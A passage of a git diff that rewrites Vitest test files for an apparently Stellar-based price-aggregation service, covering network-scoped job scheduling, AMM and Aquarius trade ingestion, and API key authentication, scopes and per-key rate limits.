'mainnet:aggregate-refresh']) + expect(workers.map(w => w.name)).toEqual(['testnet:aggregate-refresh', 'mainnet:aggregate-refresh']) + }) + + it('schedules that network’s pairs, not the active network’s', async () => { + const mainnetQueue = createAggregateQueue('mainnet') + const testnetQueue = createAggregateQueue('testnet') + + await scheduleAggregateRefresh(mainnetQueue as never, 'mainnet') + await scheduleAggregateRefresh(testnetQueue as never, 'testnet') + + // A repeatable job plus a startup run, per pair. + expect(addedJobs).toHaveLength(4) + expect(addedJobs.every(j => j.data.network === j.queue.split(':')[0])).toBe(true) + + const mainnetJobs = addedJobs.filter(j => j.queue === 'mainnet:aggregate-refresh') + expect(mainnetJobs.map(j => j.data.pairKey)).toEqual([mainnetPair.pairKey, mainnetPair.pairKey]) + expect(mainnetJobs[0].opts).toEqual({ repeat: { every: 60_000 }, jobId: `refresh:mainnet:${mainnetPair.pairKey}` }) + + const testnetJobs = addedJobs.filter(j => j.queue === 'testnet:aggregate-refresh') + expect(testnetJobs.map(j => j.data.pairKey)).toEqual([testnetPair.pairKey, testnetPair.pairKey]) + expect(testnetJobs[0].opts.jobId).toBe(`refresh:testnet:${testnetPair.pairKey}`) + }) + + it('reads, caches and upserts the mainnet worker’s job under mainnet', async () => { + startAggregateWorker('mainnet') + const { processor } = workers[0] + + await processor({ data: { pairKey: mainnetPair.pairKey, pair: mainnetPair, network: 'mainnet' } }) + + expect(mockGetAggregatedPrice).toHaveBeenCalledWith(mainnetPair.pairKey, 'mainnet') + expect(mockGetBestRoute).toHaveBeenCalledWith( + mainnetPair.assetA, mainnetPair.assetB, mainnetPair.pairKey, 1000, 'mainnet' + ) + for (const call of mockCalculateVWAP.mock.calls) { + expect(call).toContain('mainnet') + } + for (const call of mockCalculateOHLCV.mock.calls) { + expect(call).toContain('mainnet') + } + expect(mockSetCachedPrice).toHaveBeenCalledWith( + `mainnet:${mainnetPair.pairKey}`, expect.objectContaining({ network: 'mainnet' }), 10 + ) + + // One bucket per window, every one of them stamped with the worker's network. + expect(mockUpsert).toHaveBeenCalledTimes(4) + expect(mockUpsert.mock.calls.map(([arg]) => arg.where.network_pairKey_window_bucket.window)) + .toEqual(['1m', '5m', '1h', '24h']) + for (const [arg] of mockUpsert.mock.calls) { + expect(arg.where.network_pairKey_window_bucket.network).toBe('mainnet') + expect(arg.where.network_pairKey_window_bucket.pairKey).toBe(mainnetPair.pairKey) + expect(arg.create.network).toBe('mainnet') + } + }) + + it('a testnet worker never writes a mainnet row', async () => { + startAggregateWorker('testnet') + await workers[0].processor({ data: { pairKey: testnetPair.pairKey, pair: testnetPair, network: 'testnet' } }) + + for (const [arg] of mockUpsert.mock.calls) { + expect(arg.where.network_pairKey_window_bucket.network).toBe('testnet') + expect(arg.create.network).toBe('testnet') + } + expect(mockSetCachedPrice).toHaveBeenCalledWith( + `testnet:${testnetPair.pairKey}`, expect.objectContaining({ network: 'testnet' }), 10 + ) + }) +}) diff --git a/src/__tests__/ammIngester.test.ts b/src/__tests__/ammIngester.test.ts index fe41051d..61b8f281 100644 --- a/src/__tests__/ammIngester.test.ts +++ b/src/__tests__/ammIngester.test.ts @@ -1,147 +1,147 @@ -// ── Mocks ─────────────────────────────────────────────────────────────────── -vi.mock('../db', () => ({ - prisma: { - poolSnapshot: { - create: vi.fn(), - }, - }, - upsertPricePoints: vi.fn(), - getIndexerState: vi.fn(), - setIndexerCursor: vi.fn(), -})) - -vi.mock('../webhookDispatcher', () => ({ - dispatchPriceUpdate: vi.fn().mockResolvedValue(undefined), -})) - -// ── Imports ────────────────────────────────────────────────────────────────── -import { snapshotPool, ingestPoolTrades } from '../ingesters/amm' -import { prisma, upsertPricePoints, getIndexerState, setIndexerCursor } from '../db' -import { dispatchPriceUpdate } from '../webhookDispatcher' - -describe('AMM Ingester', () => { - const mockPair = { - pairKey: 'XLM-USD', - assetA: { code: 'XLM', issuer: null }, - assetB: { code: 'USD', issuer: 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5' }, - } - - beforeEach(() => { - vi.clearAllMocks() - global.fetch = vi.fn() - }) - - it('calculates snapshot price correctly', async () => { - const mockPool = { - id: 'pool-1', - reserves: [ - { asset: 'native', amount: '100.0' }, - { asset: 'USD:GABC...', amount: '20.0' }, - ], - total_shares: '50', - last_modified_ledger: 12345, - } - - await snapshotPool(mockPool, mockPair as any) - - expect(prisma.poolSnapshot.create).toHaveBeenCalledWith( - expect.objectContaining({ - data: expect.objectContaining({ - spotPrice: 0.2, - }), - }) - ) - }) - - it('tags snapshots with the requested network when STELLAR_NETWORK is unset', async () => { - const previousNetwork = process.env.STELLAR_NETWORK - delete process.env.STELLAR_NETWORK - - try { - vi.resetModules() - const createSnapshot = vi.fn() - vi.doMock('../db', () => ({ - prisma: { poolSnapshot: { create: createSnapshot } }, - upsertPricePoints: vi.fn(), - getIndexerCursor: vi.fn(), - setIndexerCursor: vi.fn(), - })) - const { snapshotPool: snapshotOnMainnet } = await import('../ingesters/amm') - - await snapshotOnMainnet({ - id: 'pool-mainnet', - reserves: [ - { asset: 'native', amount: '100.0' }, - { asset: 'USD:GABC...', amount: '20.0' }, - ], - total_shares: '50', - last_modified_ledger: 12345, - }, mockPair as any, 'mainnet') - - expect(createSnapshot).toHaveBeenCalledWith( - expect.objectContaining({ - data: expect.objectContaining({ network: 'mainnet' }), - }) - ) - } finally { - if (previousNetwork === undefined) delete process.env.STELLAR_NETWORK - else process.env.STELLAR_NETWORK = previousNetwork - } - }) - - it('ingests trades correctly', async () => { - (getIndexerState as any).mockResolvedValue({ cursor: '0', ledger: null }) - - // Captured verbatim from GET - // https://horizon.stellar.org/liquidity_pools/{id}/trades?limit=1&order=desc - // on 2026-09-30 — Horizon sends no `ledger` on a trade, only `ledger_close_time`. - // If this fixture ever grows a `ledger` field it stops exercising the TOID path. - const record = { - id: '277710193062797313-0', - paging_token: '277710193062797313-0', - ledger_close_time: '2026-09-28T08:09:56Z', - trade_type: 'liquidity_pool', - liquidity_pool_fee_bp: 30, - base_offer_id: '4889396211490185217', - base_account: 'GAKR45J2KB5K7UNGOUNQDVOZWWZXKFD3NYWVIHUQQLH3QHU55D2PQGVJ', - base_amount: '0.0017477', - base_asset_type: 'native', - counter_liquidity_pool_id: '0000a8198b5e25994c1ca5b0556faeb27325ac746296944144e0a7406d501e8a', - counter_amount: '2116529.3181152', - counter_asset_type: 'credit_alphanum12', - counter_asset_code: 'GOLDBANK001', - counter_asset_issuer: 'GDEUQ2MX3YXMITFOTC3CO3GW5V3XE3IVG7JKLZZAOZ7WFYIN256INDUS', - base_is_seller: false, - price: { n: '21165293181152', d: '17477' }, - } - expect(record).not.toHaveProperty('ledger') - - global.fetch = vi.fn().mockResolvedValue({ - json: async () => ({ _embedded: { records: [record] } }) - }) - - // Deliberately a network other than the active one: the point of passing - // it explicitly is that rows are tagged by the loop that produced them, not - // by the process-wide STELLAR_NETWORK. Asserting 'testnet' here would pass - // just as well against the bug this replaced. - await ingestPoolTrades({ id: 'pool-1' }, mockPair as any, 'mainnet') - - expect(upsertPricePoints).toHaveBeenCalledWith( - expect.arrayContaining([ - expect.objectContaining({ - price: expect.closeTo(1211036973.230646, 0), - ledger: 64659443, - }) - ]), - 'mainnet' - ) - - // The cursor row carries the ledger too, so `/status` can report it. - expect(setIndexerCursor).toHaveBeenCalledWith( - 'amm:mainnet:pool-1', - '277710193062797313-0', - 'mainnet', - 64659443 - ) - }) -}) +// ── Mocks ─────────────────────────────────────────────────────────────────── +vi.mock('../db', () => ({ + prisma: { + poolSnapshot: { + create: vi.fn(), + }, + }, + upsertPricePoints: vi.fn(), + getIndexerState: vi.fn(), + setIndexerCursor: vi.fn(), +})) + +vi.mock('../webhookDispatcher', () => ({ + dispatchPriceUpdate: vi.fn().mockResolvedValue(undefined), +})) + +// ── Imports ────────────────────────────────────────────────────────────────── +import { snapshotPool, ingestPoolTrades } from '../ingesters/amm' +import { prisma, upsertPricePoints, getIndexerState, setIndexerCursor } from '../db' +import { dispatchPriceUpdate } from '../webhookDispatcher' + +describe('AMM Ingester', () => { + const mockPair = { + pairKey: 'XLM-USD', + assetA: { code: 'XLM', issuer: null }, + assetB: { code: 'USD', issuer: 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5' }, + } + + beforeEach(() => { + vi.clearAllMocks() + global.fetch = vi.fn() + }) + + it('calculates snapshot price correctly', async () => { + const mockPool = { + id: 'pool-1', + reserves: [ + { asset: 'native', amount: '100.0' }, + { asset: 'USD:GABC...', amount: '20.0' }, + ], + total_shares: '50', + last_modified_ledger: 12345, + } + + await snapshotPool(mockPool, mockPair as any) + + expect(prisma.poolSnapshot.create).toHaveBeenCalledWith( + expect.objectContaining({ + data: expect.objectContaining({ + spotPrice: 0.2, + }), + }) + ) + }) + + it('tags snapshots with the requested network when STELLAR_NETWORK is unset', async () => { + const previousNetwork = process.env.STELLAR_NETWORK + delete process.env.STELLAR_NETWORK + + try { + vi.resetModules() + const createSnapshot = vi.fn() + vi.doMock('../db', () => ({ + prisma: { poolSnapshot: { create: createSnapshot } }, + upsertPricePoints: vi.fn(), + getIndexerCursor: vi.fn(), + setIndexerCursor: vi.fn(), + })) + const { snapshotPool: snapshotOnMainnet } = await import('../ingesters/amm') + + await snapshotOnMainnet({ + id: 'pool-mainnet', + reserves: [ + { asset: 'native', amount: '100.0' }, + { asset: 'USD:GABC...', amount: '20.0' }, + ], + total_shares: '50', + last_modified_ledger: 12345, + }, mockPair as any, 'mainnet') + + expect(createSnapshot).toHaveBeenCalledWith( + expect.objectContaining({ + data: expect.objectContaining({ network: 'mainnet' }), + }) + ) + } finally { + if (previousNetwork === undefined) delete process.env.STELLAR_NETWORK + else process.env.STELLAR_NETWORK = previousNetwork + } + }) + + it('ingests trades correctly', async () => { + (getIndexerState as any).mockResolvedValue({ cursor: '0', ledger: null }) + + // Captured verbatim from GET + // https://horizon.stellar.org/liquidity_pools/{id}/trades?limit=1&order=desc + // on 2026-09-30 — Horizon sends no `ledger` on a trade, only `ledger_close_time`. + // If this fixture ever grows a `ledger` field it stops exercising the TOID path. + const record = { + id: '277710193062797313-0', + paging_token: '277710193062797313-0', + ledger_close_time: '2026-09-28T08:09:56Z', + trade_type: 'liquidity_pool', + liquidity_pool_fee_bp: 30, + base_offer_id: '4889396211490185217', + base_account: 'GAKR45J2KB5K7UNGOUNQDVOZWWZXKFD3NYWVIHUQQLH3QHU55D2PQGVJ', + base_amount: '0.0017477', + base_asset_type: 'native', + counter_liquidity_pool_id: '0000a8198b5e25994c1ca5b0556faeb27325ac746296944144e0a7406d501e8a', + counter_amount: '2116529.3181152', + counter_asset_type: 'credit_alphanum12', + counter_asset_code: 'GOLDBANK001', + counter_asset_issuer: 'GDEUQ2MX3YXMITFOTC3CO3GW5V3XE3IVG7JKLZZAOZ7WFYIN256INDUS', + base_is_seller: false, + price: { n: '21165293181152', d: '17477' }, + } + expect(record).not.toHaveProperty('ledger') + + global.fetch = vi.fn().mockResolvedValue({ + json: async () => ({ _embedded: { records: [record] } }) + }) + + // Deliberately a network other than the active one: the point of passing + // it explicitly is that rows are tagged by the loop that produced them, not + // by the process-wide STELLAR_NETWORK. Asserting 'testnet' here would pass + // just as well against the bug this replaced. + await ingestPoolTrades({ id: 'pool-1' }, mockPair as any, 'mainnet') + + expect(upsertPricePoints).toHaveBeenCalledWith( + expect.arrayContaining([ + expect.objectContaining({ + price: expect.closeTo(1211036973.230646, 0), + ledger: 64659443, + }) + ]), + 'mainnet' + ) + + // The cursor row carries the ledger too, so `/status` can report it. + expect(setIndexerCursor).toHaveBeenCalledWith( + 'amm:mainnet:pool-1', + '277710193062797313-0', + 'mainnet', + 64659443 + ) + }) +}) diff --git a/src/__tests__/aquariusIngester.test.ts b/src/__tests__/aquariusIngester.test.ts index 318e64fb..91d3aa11 100644 --- a/src/__tests__/aquariusIngester.test.ts +++ b/src/__tests__/aquariusIngester.test.ts @@ -1,91 +1,91 @@ -/** - * Unit tests for the Aquarius AMM venue adapter. - */ - -const mocks = vi.hoisted(() => ({ - config: { - aquarius: { enabled: true, apiUrl: 'https://amm.aquarius.network/api/v1/pools/' }, - indexer: { pollIntervalMs: 5000 }, - }, - pairsRegistry: { - getActivePairs: vi.fn().mockReturnValue([]), - }, -})) - -vi.mock('../config', () => ({ - config: mocks.config, - activeNetwork: 'testnet', - // startAquariusIngester / ingestAquariusPair resolve the per-network Aquarius - // block via getNetworkConfig(network); the mock returns the same shape for - // whichever network is asked for. - getNetworkConfig: () => mocks.config, -})) -vi.mock('../pairsRegistry', () => mocks.pairsRegistry) -vi.mock('../db', () => ({ upsertPricePoints: vi.fn().mockResolvedValue(undefined) })) -vi.mock('../webhookDispatcher', () => ({ dispatchPriceUpdate: vi.fn().mockResolvedValue(undefined) })) - -import { fetchAquariusPools, startAquariusIngester } from '../ingest/venues/aquarius' - -const mockPair = { - pairKey: 'USDC/XLM', - assetA: { code: 'XLM', issuer: null }, - assetB: { code: 'USDC', issuer: 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5' }, -} - -describe('fetchAquariusPools', () => { - beforeEach(() => { - vi.clearAllMocks() - global.fetch = vi.fn() - }) - - it('queries the configured Aquarius API URL for the network', async () => { - ;(global.fetch as ReturnType).mockResolvedValue({ - ok: true, - json: async () => ({ results: [] }), - }) - - await fetchAquariusPools(mockPair as any, 'https://testnet.example.com/pools/') - - expect(global.fetch).toHaveBeenCalledWith( - expect.stringContaining('https://testnet.example.com/pools/?'), - expect.anything() - ) - }) - - it('falls back to config.aquarius.apiUrl when no override is passed', async () => { - ;(global.fetch as ReturnType).mockResolvedValue({ - ok: true, - json: async () => ({ results: [] }), - }) - - await fetchAquariusPools(mockPair as any) - - expect(global.fetch).toHaveBeenCalledWith( - expect.stringContaining(mocks.config.aquarius.apiUrl), - expect.anything() - ) - }) - - it('returns an empty array on a non-ok response', async () => { - ;(global.fetch as ReturnType).mockResolvedValue({ ok: false }) - - const result = await fetchAquariusPools(mockPair as any) - expect(result).toEqual([]) - }) -}) - -describe('startAquariusIngester', () => { - beforeEach(() => { - vi.clearAllMocks() - }) - - it('does not start the polling loop when Aquarius is disabled on the active network', async () => { - mocks.config.aquarius.enabled = false - - await startAquariusIngester() - - expect(mocks.pairsRegistry.getActivePairs).not.toHaveBeenCalled() - - mocks.config.aquarius.enabled = true - }) -}) +/** + * Unit tests for the Aquarius AMM venue adapter. + */ + +const mocks = vi.hoisted(() => ({ + config: { + aquarius: { enabled: true, apiUrl: 'https://amm.aquarius.network/api/v1/pools/' }, + indexer: { pollIntervalMs: 5000 }, + }, + pairsRegistry: { + getActivePairs: vi.fn().mockReturnValue([]), + }, +})) + +vi.mock('../config', () => ({ + config: mocks.config, + activeNetwork: 'testnet', + // startAquariusIngester / ingestAquariusPair resolve the per-network Aquarius + // block via getNetworkConfig(network); the mock returns the same shape for + // whichever network is asked for. + getNetworkConfig: () => mocks.config, +})) +vi.mock('../pairsRegistry', () => mocks.pairsRegistry) +vi.mock('../db', () => ({ upsertPricePoints: vi.fn().mockResolvedValue(undefined) })) +vi.mock('../webhookDispatcher', () => ({ dispatchPriceUpdate: vi.fn().mockResolvedValue(undefined) })) + +import { fetchAquariusPools, startAquariusIngester } from '../ingest/venues/aquarius' + +const mockPair = { + pairKey: 'USDC/XLM', + assetA: { code: 'XLM', issuer: null }, + assetB: { code: 'USDC', issuer: 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5' }, +} + +describe('fetchAquariusPools', () => { + beforeEach(() => { + vi.clearAllMocks() + global.fetch = vi.fn() + }) + + it('queries the configured Aquarius API URL for the network', async () => { + ;(global.fetch as ReturnType).mockResolvedValue({ + ok: true, + json: async () => ({ results: [] }), + }) + + await fetchAquariusPools(mockPair as any, 'https://testnet.example.com/pools/') + + expect(global.fetch).toHaveBeenCalledWith( + expect.stringContaining('https://testnet.example.com/pools/?'), + expect.anything() + ) + }) + + it('falls back to config.aquarius.apiUrl when no override is passed', async () => { + ;(global.fetch as ReturnType).mockResolvedValue({ + ok: true, + json: async () => ({ results: [] }), + }) + + await fetchAquariusPools(mockPair as any) + + expect(global.fetch).toHaveBeenCalledWith( + expect.stringContaining(mocks.config.aquarius.apiUrl), + expect.anything() + ) + }) + + it('returns an empty array on a non-ok response', async () => { + ;(global.fetch as ReturnType).mockResolvedValue({ ok: false }) + + const result = await fetchAquariusPools(mockPair as any) + expect(result).toEqual([]) + }) +}) + +describe('startAquariusIngester', () => { + beforeEach(() => { + vi.clearAllMocks() + }) + + it('does not start the polling loop when Aquarius is disabled on the active network', async () => { + mocks.config.aquarius.enabled = false + + await startAquariusIngester() + + expect(mocks.pairsRegistry.getActivePairs).not.toHaveBeenCalled() + + mocks.config.aquarius.enabled = true + }) +}) diff --git a/src/__tests__/auth.test.ts b/src/__tests__/auth.test.ts index ea3237c4..3d399e58 100644 --- a/src/__tests__/auth.test.ts +++ b/src/__tests__/auth.test.ts @@ -1,951 +1,951 @@ -import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' -import { createHash } from 'crypto' -import Fastify from 'fastify' -import rateLimit from '@fastify/rate-limit' - -// ── Mock Prisma (mirrors the pattern used by webhooks.test.ts) ───────────────── -vi.mock('../db', () => ({ - prisma: { - apiKey: { - findUnique: vi.fn(), - findMany: vi.fn(), - create: vi.fn(), - update: vi.fn(), - }, - webhookDeliveryFailure: { - findMany: vi.fn(), - create: vi.fn(), - deleteMany: vi.fn(), - }, - }, -})) - -import { prisma } from '../db' -import { - registerApiKeyAuth, - hashApiKey, - extractBearer, - lookupApiKey, - hasScope, - invalidateApiKey, - clearApiKeyCache, - recordApiKeyLastUsed, - getKeyLastUsedThrottleMs, - resetApiKeyLastUsedThrottle, - DEFAULT_KEY_LAST_USED_THROTTLE_SECONDS, -} from '../api/auth' -import { registerAdminRoutes, generateApiKey } from '../api/admin' -import { - register, - api_key_auth_failures_total, - admin_auth_failures_total, - api_key_cache_lookups_total, -} from '../metrics' - -const mockFindUnique = prisma.apiKey.findUnique as unknown as ReturnType -const mockFindMany = prisma.apiKey.findMany as unknown as ReturnType -const mockCreate = prisma.apiKey.create as unknown as ReturnType -const mockUpdate = prisma.apiKey.update as unknown as ReturnType - -function sha256(s: string): string { - return createHash('sha256').update(s, 'utf8').digest('hex') -} - -async function apiKeyAuthFailureCount(reason: string): Promise { - const metric = await api_key_auth_failures_total.get() - return metric.values.find((value) => value.labels.reason === reason)?.value ?? 0 -} - -/** Builds an app with auth enabled + one protected and one public route. */ -async function buildAuthedApp() { - const app = Fastify() - // Auth must register before rate-limit: both run in `onRequest`, and the - // limiter reads req.apiKey, which the auth hook populates. - await app.register(registerApiKeyAuth) - await app.register(rateLimit, { - max: (req) => req.apiKey?.ratePerMin ?? 100, - timeWindow: '1 minute', - keyGenerator: (req) => req.apiKey?.id ?? req.ip, - }) - app.get('/price/test', { config: { scope: 'read:prices' } }, async () => ({ ok: true })) - app.get('/history/test', { config: { scope: 'read:history' } }, async () => ({ ok: true })) - app.get('/status', { config: { public: true } }, async () => ({ ok: true })) - await app.ready() - return app -} - -beforeEach(() => { - // The lastUsedAt throttle is module-level state keyed by id; without this a - // window claimed in one test silently throttles the next one's write. - resetApiKeyLastUsedThrottle() - mockFindUnique.mockReset() - mockFindMany.mockReset() - mockCreate.mockReset() - mockUpdate.mockReset() - // The lookup cache is module-global; a stale entry from a previous test - // would otherwise mask a different mock for the same key. - clearApiKeyCache() -}) - -describe('hashApiKey / extractBearer', () => { - it('hashes keys with SHA-256 (never stores plaintext)', () => { - expect(hashApiKey('lens_secret')).toBe(sha256('lens_secret')) - // 64 hex chars = SHA-256 - expect(hashApiKey('x')).toMatch(/^[a-f0-9]{64}$/) - }) - - it('extracts the bearer token, case-insensitively', () => { - expect(extractBearer('Bearer abc123')).toBe('abc123') - expect(extractBearer('bearer spaced ')).toBe('spaced') - expect(extractBearer(undefined)).toBeNull() - expect(extractBearer('Basic abc')).toBeNull() - }) -}) - -describe('lookupApiKey', () => { - it('looks up by hash and returns context for a valid key', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, - }) - const ctx = await lookupApiKey('lens_plain') - expect(mockFindUnique).toHaveBeenCalledWith({ where: { hash: sha256('lens_plain') } }) - expect(ctx).toEqual({ id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, scopes: [] }) - }) - - it('returns scopes when the key has scopes defined', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, scopes: ['read:prices', 'subscribe'], - }) - const ctx = await lookupApiKey('lens_plain') - expect(ctx).toEqual({ - id: 'key-1', - label: 'acme', - ratePerMin: 120, - ratePerDay: 50000, - scopes: ['read:prices', 'subscribe'], - }) - }) - - it('returns null for an unknown key', async () => { - mockFindUnique.mockResolvedValue(null) - expect(await lookupApiKey('nope')).toBeNull() - }) - - it('returns null for a revoked key', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-1', label: 'acme', ratePerMin: 60, ratePerDay: 1000, revokedAt: new Date(), - }) - expect(await lookupApiKey('lens_plain')).toBeNull() - }) - - it('returns null for an expired key', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-1', - label: 'acme', - ratePerMin: 60, - ratePerDay: 1000, - revokedAt: null, - expiresAt: new Date(Date.now() - 1000), - }) - expect(await lookupApiKey('lens_plain')).toBeNull() - }) -}) - -describe('hasScope', () => { - const unscopedKey = { id: 'k1', label: 'unscoped', ratePerMin: 60, ratePerDay: 1000, scopes: [] } - const scopedKey = { id: 'k2', label: 'scoped', ratePerMin: 60, ratePerDay: 1000, scopes: ['read:prices'] } - const wildcardKey = { id: 'k3', label: 'wildcard', ratePerMin: 60, ratePerDay: 1000, scopes: ['*'] } - - it('allows access when route requires no scope', () => { - expect(hasScope(scopedKey, undefined)).toBe(true) - expect(hasScope(unscopedKey, undefined)).toBe(true) - }) - - it('allows legacy unscoped key access to any scope', () => { - expect(hasScope(unscopedKey, 'read:prices')).toBe(true) - expect(hasScope(unscopedKey, 'read:history')).toBe(true) - expect(hasScope(unscopedKey, 'subscribe')).toBe(true) - }) - - it('allows scoped key access only to declared scopes', () => { - expect(hasScope(scopedKey, 'read:prices')).toBe(true) - expect(hasScope(scopedKey, 'read:history')).toBe(false) - expect(hasScope(scopedKey, 'subscribe')).toBe(false) - }) - - it('allows wildcard key access to any scope', () => { - expect(hasScope(wildcardKey, 'read:prices')).toBe(true) - expect(hasScope(wildcardKey, 'read:history')).toBe(true) - }) -}) - -describe('API key auth hook', () => { - it('returns 401 when no key is provided', async () => { - const before = await apiKeyAuthFailureCount('missing') - const app = await buildAuthedApp() - const res = await app.inject({ method: 'GET', url: '/price/test' }) - expect(res.statusCode).toBe(401) - expect(res.json()).toMatchObject({ error: 'Unauthorized' }) - expect(res.json().code).toBe('missing') - expect(await apiKeyAuthFailureCount('missing')).toBe(before + 1) - expect(mockFindUnique).not.toHaveBeenCalled() - }) - - it('counts malformed authorization separately from missing credentials', async () => { - const before = await apiKeyAuthFailureCount('malformed') - const app = await buildAuthedApp() - const res = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Basic value' }, - }) - expect(res.statusCode).toBe(401) - expect(res.json()).toMatchObject({ code: 'malformed' }) - expect(await apiKeyAuthFailureCount('malformed')).toBe(before + 1) - }) - - it('returns 401 for an invalid key', async () => { - const before = await apiKeyAuthFailureCount('unknown') - mockFindUnique.mockResolvedValue(null) - const app = await buildAuthedApp() - const res = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer wrong' }, - }) - expect(res.statusCode).toBe(401) - expect(res.json().code).toBe('unknown') - expect(res.json().message).toBe('Unknown API key.') - expect(await apiKeyAuthFailureCount('unknown')).toBe(before + 1) - }) - - it('returns 401 for a revoked key', async () => { - const before = await apiKeyAuthFailureCount('revoked') - mockFindUnique.mockResolvedValue({ - id: 'key-1', label: 'acme', ratePerMin: 60, ratePerDay: 1000, revokedAt: new Date(), - }) - const app = await buildAuthedApp() - const res = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer revoked' }, - }) - expect(res.statusCode).toBe(401) - expect(res.json().code).toBe('revoked') - expect(res.json().message).toBe('Revoked API key. Request a replacement key.') - expect(await apiKeyAuthFailureCount('revoked')).toBe(before + 1) - }) - - it('returns a distinct code and message for an expired key', async () => { - const before = await apiKeyAuthFailureCount('expired') - mockFindUnique.mockResolvedValue({ - id: 'key-1', - label: 'acme', - ratePerMin: 60, - ratePerDay: 1000, - revokedAt: null, - expiresAt: new Date(Date.now() - 1000), - }) - const app = await buildAuthedApp() - const res = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer test-expired-api-key' }, - }) - expect(res.statusCode).toBe(401) - expect(res.json().code).toBe('expired') - expect(res.json().message).toBe('Expired API key. Request a replacement key.') - expect(await apiKeyAuthFailureCount('expired')).toBe(before + 1) - }) - - it('allows a valid key through and attaches metadata', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, - }) - const app = await buildAuthedApp() - const res = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer good' }, - }) - expect(res.statusCode).toBe(200) - expect(res.json()).toEqual({ ok: true }) - }) - - it('lets public routes through without a key', async () => { - const app = await buildAuthedApp() - const res = await app.inject({ method: 'GET', url: '/status' }) - expect(res.statusCode).toBe(200) - expect(mockFindUnique).not.toHaveBeenCalled() - }) - - it('allows a call when key has the required scope', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, scopes: ['read:prices'], - }) - const app = await buildAuthedApp() - const res = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer good' }, - }) - expect(res.statusCode).toBe(200) - expect(res.json()).toEqual({ ok: true }) - }) - - it('refuses a call when key lacks the required scope and names the required scope in the error', async () => { - const before = await apiKeyAuthFailureCount('insufficient_scope') - mockFindUnique.mockResolvedValue({ - id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, scopes: ['read:prices'], - }) - const app = await buildAuthedApp() - const res = await app.inject({ - method: 'GET', - url: '/history/test', - headers: { authorization: 'Bearer good' }, - }) - expect(res.statusCode).toBe(403) - const body = res.json() - expect(body.error).toBe('Forbidden') - expect(body.code).toBe('insufficient_scope') - expect(body.requiredScope).toBe('read:history') - expect(body.message).toContain('read:history') - expect(await apiKeyAuthFailureCount('insufficient_scope')).toBe(before + 1) - }) - - it('allows a legacy unscoped key with no scopes recorded to access any route', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-legacy', label: 'legacy-partner', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, scopes: [], - }) - const app = await buildAuthedApp() - const priceRes = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer legacy' }, - }) - expect(priceRes.statusCode).toBe(200) - expect(priceRes.json()).toEqual({ ok: true }) - - const historyRes = await app.inject({ - method: 'GET', - url: '/history/test', - headers: { authorization: 'Bearer legacy' }, - }) - expect(historyRes.statusCode).toBe(200) - expect(historyRes.json()).toEqual({ ok: true }) - }) - - it('allows a key with multiple scopes to access routes matching any of its scopes', async () => { - mockFindUnique.mockResolvedValue({ - id: 'key-multi', label: 'multi', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, scopes: ['read:prices', 'read:history'], - }) - const app = await buildAuthedApp() - const priceRes = await app.inject({ - method: 'GET', - url: '/price/test', - headers: { authorization: 'Bearer multi' }, - }) - expect(priceRes.statusCode).toBe(200) - - const historyRes = await app.inject({ - method: 'GET', - url: '/history/test', - headers: { authorization: 'Bearer multi' }, - }) - expect(historyRes.statusCode).toBe(200) - }) -}) - -describe('per-key rate quotas', () => { - it('honors each key’s own ratePerMin (429 after the quota)', async () => { - // A key allowed only 2 requests/min. - mockFindUnique.mockResolvedValue({ - id: 'key-limited', label: 'small', ratePerMin: 2, ratePerDay: 1000, revokedAt: null, - }) - const app = await buildAuthedApp() - const headers = { authorization: 'Bearer limited' } - - const r1 = await app.inject({ method: 'GET', url: '/price/test', headers }) - const r2 = await app.inject({ method: 'GET', url: '/price/test', headers }) - const r3 = await app.inject({ method: 'GET', url: '/price/test', headers }) - - expect(r1.statusCode).toBe(200) - expect(r2.statusCode).toBe(200) - expect(r3.statusCode).toBe(429) // quota exhausted - }) - - it('tracks quotas independently per key', async () => { - const app = await buildAuthedApp() - // First key: limited to 1/min. - mockFindUnique.mockResolvedValue({ - id: 'key-a', label: 'a', ratePerMin: 1, ratePerDay: 100, revokedAt: null, - }) - const a1 = await app.inject({ method: 'GET', url: '/price/test', headers: { authorization: 'Bearer a' } }) - const a2 = await app.inject({ method: 'GET', url: '/price/test', headers: { authorization: 'Bearer a' } }) - expect(a1.statusCode).toBe(200) - expect(a2.statusCode).toBe(429) - - // Second, distinct key gets its own fresh bucket. - mockFindUnique.mockResolvedValue({ - id: 'key-b', label: 'b', ratePerMin: 1, ratePerDay: 100, revokedAt: null, - }) - const b1 = await app.inject({ method: 'GET', url: '/price/test', headers: { authorization: 'Bearer b' } }) - expect(b1.statusCode).toBe(200) - }) -}) - -describe('API key lookup cache (Issue #495)', () => { - const validRecord = { - id: 'key-1', label: 'acme', ratePerMin: 120, ratePerDay: 50000, revokedAt: null, - } - - it('serves a repeated request for the same key 